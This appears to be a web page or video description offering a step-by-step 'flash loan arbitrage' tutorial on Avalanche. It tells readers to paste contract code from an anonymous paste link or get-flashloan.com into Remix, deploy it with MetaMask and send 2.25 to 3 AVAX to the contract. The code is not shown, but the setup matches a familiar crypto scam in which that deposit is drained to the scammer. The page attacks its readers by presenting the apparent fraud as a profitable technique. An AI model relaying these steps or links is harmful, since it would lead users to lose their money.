Updated: October 16, 2022 A flash loan is a feature that allows you to borrow any available amount of assets from a designated smart contract pool with no collateral. Flash loans are useful building blocks in DeFi as they can be used for things like arbitrage, swapping collateral and self-liquidation. Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they've proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars. So, what�s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction. Connecting MetaMask to Avalanche Mainnet - https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi Convert Value (AVAX/USD) - https://coincodex.com/convert/avalanche/usd/ Remix: https://remix.ethereum.org/ Contract A: https://0bin.net/paste/1iF8SlVj#StS4FjTM0jlwE6WRbuAYwqeM00rp9RCidCn4gBcEyMp or Contract B: https://get-flashloan.com/smart-code-0-5-0-avax-78b8/ Step By Step Tutorial for Flash Loan: 1. Get the Metamask Extension for your browser 2. Open Remix: https://remix.ethereum.org/ 3. Click on File Explorers and click "Create New File ". 4. Name the file avaxArbitrage.sol and paste the contract code. 5. Click on Deploy & Run transactions and set "ENVIRONMENT" to Injected Web3. 6. Connect your MetaMask wallet. 7. Click on the "Solidity Compiler" and set the compiler version to 0.5.0 8. Click on the Solidity Compiler and then click the blue button "Compile avaxArbitrage.sol" 9. Wait for the code to compile. 10. Click the arrow down on the "CONTRACT" and select "InitiateFlashLoan - avaxArbitrage.sol" 11. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button 12. On "_TOKENNAME" MyToken 13. On "_TOKENSYMBOL" TOK 14. On "_LOANAMOUNT" 200 15. Click Transact and confirm the transaction in MetaMask. 16. Wait for the transaction to confirm. 17. Copy the address of the newly deployed contract. 18. Send AVAX to the deployed contract to initiate the swap 2.25 AVAX (3 AVAX up is better as you will get a bigger amount in each swap) 19. Wait for the transaction to confirm. 20. Now, Click "flashloan" (red box) to execute the Flash Loan. 21. Confirm the transaction in MetaMask and wait for the confirmation. 22. You can now check your wallet Note: if it doesn't work with 2.25 AVAX try to send another 2.50 AVAX (3 AVAX is better), because fees may be different from day to day. (2.25 AVAX for each 200 AVAX you are borrowing) #flashloan #cryptoarbitrageMore Info